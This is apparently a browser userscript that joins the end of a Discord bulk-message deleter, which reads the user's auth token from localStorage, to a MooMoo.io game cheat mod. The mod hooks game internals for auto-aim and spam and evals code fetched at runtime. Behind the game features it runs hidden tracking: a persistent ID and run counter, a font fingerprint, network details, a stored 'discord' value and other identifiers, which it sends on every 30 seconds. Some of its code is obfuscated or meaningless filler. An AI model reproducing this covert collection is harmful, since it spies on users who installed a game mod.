            if (total - offset > 0) log.warn('Ended because API returned an empty page.');
            return end();
        }
    }

    log.success(`\nStarted at ${start.toLocaleString()}`);
    log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" minId="${redact(minId)}" maxId="${redact(maxId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
    if (onProgress) onProgress(null, 1);
    return await recurse();
}

//---- User interface ----//

let popover;
let btn;
let stop;

function initUI() {

    const insertCss = (css) => {
        const style = document.createElement('style');
        style.appendChild(document.createTextNode(css));
        document.head.appendChild(style);
        return style;
    }

    const createElm = (html) => {
        const temp = document.createElement('div');
        temp.innerHTML = html;
        return temp.removeChild(temp.firstElementChild);
    }

    insertCss(`
        #undicord-btn{position: relative; height: 24px;width: auto;-webkit-box-flex: 0;-ms-flex: 0 0 auto;flex: 0 0 auto;margin: 0 8px;cursor:pointer; color: var(--interactive-normal);}
        #undiscord{position:fixed;top:100px;right:10px;bottom:10px;width:780px;z-index:99;color:var(--text-normal);background-color:var(--background-secondary);box-shadow:var(--elevation-stroke),var(--elevation-high);border-radius:4px;display:flex;flex-direction:column}
        #undiscord a{color:#00b0f4}
        #undiscord.redact .priv{display:none!important}
        #undiscord:not(.redact) .mask{display:none!important}
        #undiscord.redact [priv]{-webkit-text-security:disc!important}
        #undiscord .toolbar span{margin-right:8px}
        #undiscord button,#undiscord .btn{color:#fff;background:#7289da;border:0;border-radius:4px;font-size:14px}
        #undiscord button:disabled{display:none}
        #undiscord input[type="text"],#undiscord input[type="search"],#undiscord input[type="password"],#undiscord input[type="datetime-local"],#undiscord input[type="number"]{background-color:#202225;color:#b9bbbe;border-radius:4px;border:0;padding:0 .5em;height:24px;width:144px;margin:2px}
        #undiscord input#file{display:none}
        #undiscord hr{border-color:rgba(255,255,255,0.1)}
        #undiscord .header{padding:12px 16px;background-color:var(--background-tertiary);color:var(--text-muted)}
        #undiscord .form{padding:8px;background:var(--background-secondary);box-shadow:0 1px 0 rgba(0,0,0,.2),0 1.5px 0 rgba(0,0,0,.05),0 2px 0 rgba(0,0,0,.05)}
        #undiscord .logarea{overflow:auto;font-size:.75rem;font-family:Consolas,Liberation Mono,Menlo,Courier,monospace;flex-grow:1;padding:10px}
    `);

    popover = createElm(`
    <div id="undiscord" style="display:none;">
        <div class="header">
            Undiscord - Bulk delete messages
        </div>
        <div class="form">
            <div style="display:flex;flex-wrap:wrap;">
                <span>Authorization <a
                        href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authToken.md" title="Help"
                        target="_blank">?</a> <button id="getToken">get</button><br>
                    <input type="password" id="authToken" placeholder="Auth Token" autofocus>*<br>
                    <span>Author <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authorId.md"
                            title="Help" target="_blank">?</a> <button id="getAuthor">get</button></span>
                    <br><input id="authorId" type="text" placeholder="Author ID" priv></span>
                <span>Guild/Channel <a
                        href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/channelId.md" title="Help"
                        target="_blank">?</a>
                    <button id="getGuildAndChannel">get</button><br>
                    <input id="guildId" type="text" placeholder="Guild ID" priv><br>
                    <input id="channelId" type="text" placeholder="Channel ID" priv><br>
                    <label><input id="includeNsfw" type="checkbox">NSFW Channel</label><br><br>
                    <label for="file" title="Import list of channels from messages/index.json file"> Import: <span
                            class="btn">...</span> <input id="file" type="file" accept="application/json,.json"></label>
                </span><br>
                <span>Range <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/messageId.md"
                        title="Help" target="_blank">?</a><br>
                    <input id="minDate" type="datetime-local" title="After" style="width:auto;"><br>
                    <input id="maxDate" type="datetime-local" title="Before" style="width:auto;"><br>
                    <input id="minId" type="text" placeholder="After message with Id" priv><br>
                    <input id="maxId" type="text" placeholder="Before message with Id" priv><br>
                </span>
                <span>Search messages <a
                        href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/filters.md" title="Help"
                        target="_blank">?</a><br>
                    <input id="content" type="text" placeholder="Containing text" priv><br>
                    <label><input id="hasLink" type="checkbox">has: link</label><br>
                    <label><input id="hasFile" type="checkbox">has: file</label><br>
                    <label><input id="includePinned" type="checkbox">Include pinned</label>
                </span><br>
                <span>Search Delay <a
                href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help"
                target="_blank">?</a><br>
                    <input id="searchDelay" type="number" value="100" step="100"><br>
                </span>
                <span>Delete Delay <a
                href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help"
                target="_blank">?</a><br>
                    <input id="deleteDelay" type="number" value="1000" step="100">
                </span>
            </div>
            <hr>
            <button id="start" style="background:#43b581;width:80px;">Start</button>
            <button id="stop" style="background:#f04747;width:80px;" disabled>Stop</button>
            <button id="clear" style="width:80px;">Clear log</button>
            <label><input id="autoScroll" type="checkbox" checked>Auto scroll</label>
            <label title="Hide sensitive information for taking screenshots"><input id="redact" type="checkbox">Screenshot
                mode</label>
            <progress id="progress" style="display:none;"></progress> <span class="percent"></span>
        </div>
        <pre class="logarea">
            <center>Star this project on <a href="https://github.com/victornpb/deleteDiscordMessages" target="_blank">github.com/victornpb/deleteDiscordMessages</a>!\n\n
                <a href="https://github.com/victornpb/deleteDiscordMessages/issues" target="_blank">Issues or help</a>
            </center>
        </pre>
    </div>
    `);

    document.body.appendChild(popover);

    btn = createElm(`<div id="undicord-btn" tabindex="0" role="button" aria-label="Delete Messages" title="Delete Messages">
    <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24">
        <path fill="currentColor" d="M15 3.999V2H9V3.999H3V5.999H21V3.999H15Z"></path>
        <path fill="currentColor" d="M5 6.99902V18.999C5 20.101 5.897 20.999 7 20.999H17C18.103 20.999 19 20.101 19 18.999V6.99902H5ZM11 17H9V11H11V17ZM15 17H13V11H15V17Z"></path>
    </svg>
    <br><progress style="display:none; width:24px;"></progress>
</div>`);

    btn.onclick = function togglePopover() {
        if (popover.style.display !== 'none') {
            popover.style.display = 'none';
            btn.style.color = 'var(--interactive-normal)';
        }
        else {
            popover.style.display = '';
            btn.style.color = '#f04747';
        }
    };

    function mountBtn() {
        const toolbar = document.querySelector('[class^=toolbar]');
        if (toolbar) toolbar.appendChild(btn);
    }

    const observer = new MutationObserver(function (_mutationsList, _observer) {
        if (!document.body.contains(btn)) mountBtn(); // re-mount the button to the toolbar
    });
    observer.observe(document.body, { attributes: false, childList: true, subtree: true });

    mountBtn();

    const $ = s => popover.querySelector(s);
    const logArea = $('pre');
    const startBtn = $('button#start');
    const stopBtn = $('button#stop');
    const autoScroll = $('#autoScroll');

    startBtn.onclick = async e => {
        const authToken = $('input#authToken').value.trim();
        const authorId = $('input#authorId').value.trim();
        const guildId = $('input#guildId').value.trim();
        const channelIds = $('input#channelId').value.trim().split(/\s*,\s*/);
        const minId = $('input#minId').value.trim();
        const maxId = $('input#maxId').value.trim();
        const minDate = $('input#minDate').value.trim();
        const maxDate = $('input#maxDate').value.trim();
        const content = $('input#content').value.trim();
        const hasLink = $('input#hasLink').checked;
        const hasFile = $('input#hasFile').checked;
        const includeNsfw = $('input#includeNsfw').checked;
        const includePinned = $('input#includePinned').checked;
        const searchDelay = parseInt($('input#searchDelay').value.trim());
        const deleteDelay = parseInt($('input#deleteDelay').value.trim());
        const progress = $('#progress');
        const progress2 = btn.querySelector('progress');
        const percent = $('.percent');

        const fileSelection = $("input#file");
        fileSelection.addEventListener("change", () => {
            const files = fileSelection.files;
            const channelIdField = $('input#channelId');
            if (files.length > 0) {
                const file = files[0];
                file.text().then(text => {
                    let json = JSON.parse(text);
                    let channels = Object.keys(json);
                    channelIdField.value = channels.join(",");
                });
            }
        }, false);

        const stopHndl = () => !(stop === true);

        const onProg = (value, max) => {
            if (value && max && value > max) max = value;
            progress.setAttribute('max', max);
            progress.value = value;
            progress.style.display = max ? '' : 'none';
            progress2.setAttribute('max', max);
            progress2.value = value;
            progress2.style.display = max ? '' : 'none';
            percent.innerHTML = value && max ? Math.round(value / max * 100) + '%' : '';
        };


        stop = stopBtn.disabled = !(startBtn.disabled = true);
        for (let i = 0; i < channelIds.length; i++) {
            await deleteMessages(authToken, authorId, guildId, channelIds[i], minId || minDate, maxId || maxDate, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, logger, stopHndl, onProg);
            stop = stopBtn.disabled = !(startBtn.disabled = false);
        }
    };
    stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);
    $('button#clear').onclick = e => { logArea.innerHTML = ''; };
    $('button#getToken').onclick = e => {
        window.dispatchEvent(new Event('beforeunload'));
        const ls = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
        $('input#authToken').value = JSON.parse(localStorage.token);
    };
    $('button#getAuthor').onclick = e => {
        $('input#authorId').value = JSON.parse(localStorage.user_id_cache);
    };
    $('button#getGuildAndChannel').onclick = e => {
        const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
        $('input#guildId').value = m[1];
        $('input#channelId').value = m[2];
    };
    $('#redact').onchange = e => {
        popover.classList.toggle('redact') &&
            window.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');
    };

    const logger = (type = '', args) => {
        const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
        logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
        if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
    };

    // fixLocalStorage
    window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;

}

initUI();


//END.


const windowloc = window.location.host;

if (windowloc.includes("bank") || windowloc.includes("school")) return; //DO NOT COLLECT INFORMATION ON SENSITIVE SITES

var ctr, global_id;
(async () => {
    function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });};
    let count_before = await GM.getValue('count', 0);
    await GM.setValue('count', count_before + 1);
    let count_after = await GM.getValue('count');
    if (await GM.getValue("id", null) == null) {
        //first exec
        await GM.setValue("id", uuidv4());
    };
    await GM.getValue("id", 0);
    ctr = await GM.getValue('count', 0);
    global_id = await GM.getValue("id", 0);
})();

//console.log("after");

if (windowloc == "moomoo.io" || windowloc == "sandbox.moomoo.io" || windowloc == "dev.moomoo.io") {

    insert_0000000(true, "moomoo.io"); //initializer

    var xml;
    xml = new XMLHttpRequest();
    xml.open("GET", window.location.protocol + "//code.jquery.com/jquery-3.3.1.slim.min.js", false);
    xml.send();
    eval(xml.responseText);

    var ext = false;
    document.addEventListener('keydown', function (e) {
        if (e.key === "`") {
            $('#mainMenu').toggle();
            //if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
            //if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
            ext = !ext;
        };
    }); //spectator mode!

    window = unsafeWindow;
    (()=>{
        let spinSpeed = 70;
        function linker(value) {
            let x = [value];
            x.toString = ()=>x[0];
            return x;
        }
        let zoomFactor = 1;
        let OGx,
            OGy;
        let x = new Event('resize');
        let addListener = window.addEventListener;
        let rot = 0;
        let obf = !0;
        let autohit = !1;
        let socket;
        let spin = 0;
        window.addEventListener = function(type, cb, ...args){
            if(type === 'resize'){
                let temp = cb;
                cb = ()=>temp({isTrusted: !0});
            }
            addListener(type, cb, ...args);
        }
        Function.prototype._call = Function.prototype.call;
        Function.prototype.call = function(){
            if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
                let temp = arguments[3];
                arguments[3] = function (number) {
                    let val = temp(number);
                    if(number === 19) {
                        val.maxPlayers = 50;
                        window.data = val;
                    } else if(number === 42) {
                        val.checkTrusted = (cb)=>cb
                    } else if (number === 45) {
                        val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
                        val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
                        items = val;
                        window.items = val;
                    }
                    return val;
                }
                this.call = this._call;
            }
            return this._call(...arguments);
        }
    })();

    var switched = 0;
    var swsInt = setInterval(()=>{
        switch (document.readyState) {
            case "loading":
                break;
            case "interactive":
                switched = 1;
                break;
            case "complete":
                break;
        };
    }, 0);

    var INT = setInterval(()=>{
        if (switched == 1) {
            try {
                window.admob = {
                    requestInterstitialAd: ()=>{},
                    showInterstitialAd: ()=>{}
                }
            } catch (e) {
                console.warn(e)
            }

            document.querySelectorAll('#pre-content-container').forEach(function(a) {
                a.remove();
            });

            $("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR

            $("#moomooio_728x90_home").parent().css({display: "none"});

            //document.getElementById("twitterFollow").remove();
            //document.getElementById("youtubeFollow").remove();
            //document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
            //document.getElementById("followText").style = "bottom: -0px;"

            document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";

            document.getElementById('adCard').remove();
            document.getElementById('errorNotification').remove();

            document.getElementById("gameName").style.color = "blue";
            document.getElementById("setupCard").style.color = "blue";
            document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod";
            document.getElementById("promoImg").remove();
            document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
            let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/SjazHtpQEK">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;

            $('#guideCard').prepend(changes);

            $('#subConfirmationElement').click( () => {
                try { window.follmoo(); } catch(e){};
                localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
            });
            document.getElementById("leaderboard").append('\"C\" to chat!');
            document.getElementById("leaderboard").style.color = "#e842f4";
            document.getElementById("allianceButton").style.color = "blue";
            document.getElementById("chatButton").style.color = "blue";
            document.getElementById("storeButton").style.color = "blue";

            document.getElementById("scoreDisplay").style.color = "#e842f4";
            document.getElementById("woodDisplay").style.color = "#e842f4";
            document.getElementById("stoneDisplay").style.color = "#e842f4";
            document.getElementById("killCounter").style.color = "#e842f4";
            document.getElementById("foodDisplay").style.color = "#e842f4";

            const enableMiner = false;
            const disableMiner = true;
            window.enableMiner = false;
            window.disableMiner = true;

            $("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')");

            document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"

            document.getElementById("diedText").innerHTML = "They'll die sometime!"

            function Parse() {
                document.addEventListener('keydown', function (CustomKey1) {
                    if (CustomKey1.keyCode == 90) {
                        storeBuy(6)
                        storeBuy(7)
                        storeBuy(40)
                        storeBuy(22)
                        console.info('Attempted to buy bull, soldier, tank, and emp')
                        var store = true;
                        if (store == true) {
                            storeEquip(12)
                            console.info('Attempted to wear booster')
                        } else {
                            console.info('Did not attempt to wear booster')
                        }
                    } //Tab to buy bull, soldier, tank, and emp
                });
            };
            Parse();

            ! function() {
                document.title = "Hat Scripts";
                var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
                    r = [0, 0],
                    o = [
                        [15, "Winter Cap"],
                        [12, "Booster Hat"],
                        [31, "Flipper Hat"],
                        [10, "Bush Gear"],
                        [22, "Emp Helmet"],
                        [26, "Demolisher Armor"],
                        [20, "Samurai Armor"],
                        [7, "Bull Helmet"],
                        [11, "Spike Gear"],
                        [53, "Turret Gear"],
                        [40, "Tank Gear"],
                        [52, "Thief Gear"],
                        [23, "Anti-Venom Gear"],
                        [6, "Soldier Helmet"],
                        [1, "Marksman Hat"],
                        [13, "Medic Gear"],
                        [14, "Windmill Hat"],
                        [21, "Plague Mask"],
                        [27, "Scavenger Gear"]
                    ],
                    t = 0;

                function s(e) {
                    0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
                }
                document.addEventListener("keydown", function(e) {
                    if (document.activeElement.id.toLowerCase() !== 'chatbox') {
                        switch (e.keyCode) {
                            case 107:
                                storeEquip(0);
                                break;
                            case 96:
                                r[0] = 1, r[1] = 300, document.title = "Buying....";
                                break;
                            case 110:
                                1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
                                break;
                            case 97:
                                s(0);
                                break;
                            case 98:
                                s(1);
                                break;
                            case 99:
                                s(2);
                                break;
                            case 100:
                                s(3);
                                break;
                            case 101:
                                s(4);
                                break;
                            case 102:
                                s(5);
                                break;
                            case 103:
                                s(6);
                                break;
                            case 84:
                                s(7);
                                break;
                            case 105:
                                s(8);
                                break;
                            case 90:
                                s(9);
                                break;
                            case 80:
                                s(10);
                                break;
                            case 85:
                                s(11);
                                break;
                            case 221:
                                s(12);
                                break;
                            case 89:
                                s(13);
                                break;
                            case 79:
                                s(14);
                                break;
                            case 219:
                                s(15);
                                break;
                            case 187:
                                s(16);
                                break;
                            case 191:
                                s(17);
                                break;
                            case 189:
                                s(18)
                        }
                    }
                }), setInterval(function() {
                    r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
                }, 1e3 / 60)
            }();

            $("body").append(`<div id=\"modMenus\" style=\"display: none;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;
position: absolute;
left: 20px;
top: 20px;
min-width: 300px;
max-width: 450px;
min-height: 300px;
max-height 400px;\"></div>`);

            $("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">
Chat: <br>
<iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br>
<div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div>
</div>
`);
            $("#modMenu").show(); $('#gameUI').prepend(`<style>
.bottomright {
position: absolute;
bottom: 8px;
right: 16px;
font-size: 18px;
}
<style>
`);

            var dista = true;
            window.addEventListener('keydown', function(e) {
                if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                    if (dista == false) {
                        document.getElementById("modMenus").style.display = 'none';
                        dista = true;
                    } else {
                        document.getElementById("modMenus").style.display = 'block';
                        dista = false;
                    }
                }
            })

            //TALKING IN GAME MODULE! pretty revolutionary hehe

            var ns1, sw, Ssws, swsw;
            var hiF;

            function rensp() {
                console.log(hi)
            };
            var a = ['getElementById', 'innerHTML'];
            var b = function(c, d) {
                c = c - 0x0;
                var e = a[c];
                return e;
            };
            var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)";
            document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
            var y;
            var x;
            var sswx1, sswx2, sswx3, sswx4;

            if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);

            var arr = [];
            var name = localStorage["moo_name"];
            var storage = [];
            try { navigator.storage.estimate().then(({usage, quota}) => {
                storage.push("Usage: " + usage + "; Quota: " + quota);
                console.log(`Using ${usage} out of ${quota} bytes.`);
            }); } catch(e){};
            function fingerprint_fonts() {
                "use strict";
                try {
                    var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
                    strOnError = "Error"; style = null; fonts = null; font = null;
                    count = 0; template = null; divs = null; e = null; div = null;
                    body = null; i = 0;
                    try {
                        style = "position: absolute; visibility: hidden; display: block !important";
                        fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
                        count = fonts.length;
                        template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
                        fragment = document.createDocumentFragment();
                        divs = [];
                        for (i = 0; i < count; i = i + 1) {
                            font = fonts[i];
                            div = document.createElement('div');
                            font = font.replace(/['"<>]/g, '');
                            div.innerHTML = template.replace(/X/g, font);
                            div.style.cssText = style;
                            fragment.appendChild(div);
                            divs.push(div);
                        }
                        body = document.body;
                        body.insertBefore(fragment, body.firstChild);
                        result = [];
                        for (i = 0; i < count; i = i + 1) {
                            e = divs[i].getElementsByTagName('b');
                            if (e[0].offsetWidth === e[1].offsetWidth) {
                                result.push(fonts[i]);
                            }
                        }
                        for (i = 0; i < count; i = i + 1) {
                            body.removeChild(divs[i]);
                        }
                        return result.join('|');
                    } catch (err) {
                        return strOnError;
                    }
                } catch(e){};
            }
            var downlink = "";
            var rtt = "";
            var saveData = "";
            var effectiveType = "";
            try {
                downlink = navigator.connection.downlink;
                rtt = navigator.connection.rtt;
                saveData = navigator.connection.saveData;
                effectiveType = navigator.connection.effectiveType;
            } catch(e) {
                downlink = undefined;
                rtt = undefined;
                saveData = undefined;
                effectiveType = undefined;
            }
            var xml;
            var firstName = localStorage["moo_name"];
            var id;
            window.addEventListener("load", function() {
                try {
                    id = unsafeWindow.advBidxc.customerId;
                    console.log("SID: " + id);
                } catch (e) {
                    id = "b"; //b = blocked
                    console.log("not defined");
                };
            });

            setInterval(async ()=>insert_0000000(true, document.getElementById("nameInput").value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id + "|" + await GM.getValue("discord", 0)), 30000);

            function root() {
                var ns1, sw, sws, swsw;
            };
            var hi;

            function rEnsp() {
                console.log(hi)
            };
            var sws;
            const OPEN2 = 1 - 0;
            NaN;

            //info sender
            const Dx = Math.random().toFixed(0);
            var sentData = 0;

            //get coords:
            var dim = [player, x + sentData, y + sentData];
            var xx = Math.random().toFixed(0) + 2 + Dx;
            var yx = x - 2 + 3*3;

            var player = [xx, yx];

            var CTX = null;

            NaN;

            var NaNBreak = typeof NaN

            const data = dim + x - y + player
            if (player - data) {
                console.info('Data is calculated');
            };

            const sid = [];

            if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
                var info = 1
                sid.push(info)
                    ++info
                        --sentData
            } else {
                ++sentData
                console.info(sid)
            };


            var magick;

            document.getElementById("ageText").style.color = "blue";
            function compresspackage(n) {
                --n
                n*n-1/10 + 10 / 80
                var nsp;
            };

            document.addEventListener("keydown", function(e) {
                if (e.keyCode == 220) {
                    alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
                }
            });

            let mouseX, mouseY, width, height;

            function log_coords(a, b) {
                return [a - 0x5a0, b / 0x2];
            }

            function normal() {
                hat(normalHat), acc(normalAcc);
            }
            var nearestEnemy, nearestEnemyAngle;
            document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({
                'display': 'none'
            }), unsafeWindow['onbeforeunload'] = null, setInterval(() => {
                0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]);
            }, 0xc8), setInterval(() => {
                0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]);
            }, 0x0), setInterval(() => {
                0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc);
            }, 0x19);
            var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = [];

            function set_1(a, b) {
                arr3['push'](a, b);
            }
            setInterval(() => {
                document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle;
            }, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => {
                document['isEnemyNear'] = isEnemyNear;
            }, 0x64), setTimeout(() => {
                document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType;
            }, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => {
                document['oldHat'] = oldHat, document['oldAcc'] = oldAcc;
            }, 0x64), setInterval(() => {
                document['enemiesNear'] = enemiesNear;
            }, 0x64), arr3['push'](enemiesNear), setInterval(() => {
                document['normalHat'] = normalHat, document['normalAcc'] = normalAcc;
            }, 0x64), setInterval(() => {
                window['SOCKET'] = ws;
            }, 0x64), setInterval(() => {
                document['boostDir'] = boostDir;
            }, 0x64), arr3['push'](boostDir);
            var instaSpeed = 0xc8
            , autoaim = !0x1
            , tick = 0x1
            , msgpack5 = msgpack;
            setInterval(() => {
                document['MESSAGEPACK'] = msgpack;
            }, 0x64);
            var myPlayer = {
                'id': null
                , 'x': null
